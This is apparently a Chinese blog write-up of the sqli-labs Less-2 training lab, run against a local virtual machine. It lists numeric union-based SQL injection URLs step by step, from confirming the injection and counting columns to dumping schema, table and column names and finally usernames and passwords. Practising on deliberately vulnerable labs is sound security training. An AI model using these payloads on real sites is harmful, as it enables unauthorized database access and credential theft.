sqli-labs靶场第二关less-2

sqli-labs靶场第二关less-2

本次测试在虚拟机搭建靶场,从主机测试

1、输入?id=1和?id=2发现有不同的页面回显

2、判断注入类型

http://192.168.128.3/sq/Less-2/?id=1'

从回显判断多一个' ,预测可能是数字型注入

输入

http://192.168.128.3/sq/Less-2/?id=1 and 1=1

http://192.168.128.3/sq/Less-2/?id=1 and 1=2

发现and 1=1 正常回显,and 1=2 回显错误,确定数字型注入

3、确定列数

http://192.168.128.3/sq/Less-2/?id=1 group by 5

http://192.168.128.3/sq/Less-2/?id=1 group by 4

http://192.168.128.3/sq/Less-2/?id=1 group by 3

group by 3 的时候回显正常,确定有三列。

4、确定回显位

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,2,3

2.3位为回显位

5、查询数据库名和版本

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,database(),version()

6、爆出数据库名

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

7、爆出表名

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'

8、爆出列名

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'

9、爆出数据

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,group_concat(username,'~',password),3 from security.users

** 大功告成**

相关推荐
q***78377 小时前
mysql表添加索引
数据库·mysql
翔云1234567 小时前
MySQL 机器重启后,gtid_executed 是如何初始化的
数据库·mysql·adb
JAVA学习通8 小时前
Mysql进阶---存储过程&变量&SQL编程
数据库·mysql
oh-pinpin8 小时前
安全配置类
安全·web安全
阿里云大数据AI技术8 小时前
朝阳永续基于阿里云 Milvus 构建金融智能投研产品“AI 小二”
数据库·人工智能
百***49008 小时前
Redis-配置文件
数据库·redis·oracle
老纪的技术唠嗑局8 小时前
OceanBase 年度发布会 Hands-on AI Workshop 回顾
数据库
艾体宝IT8 小时前
艾体宝干货 | Redis Python 开发系列#5 高可用与集群部署指南
数据库
3***89198 小时前
开放自己本机的mysql允许别人连接
数据库·mysql·adb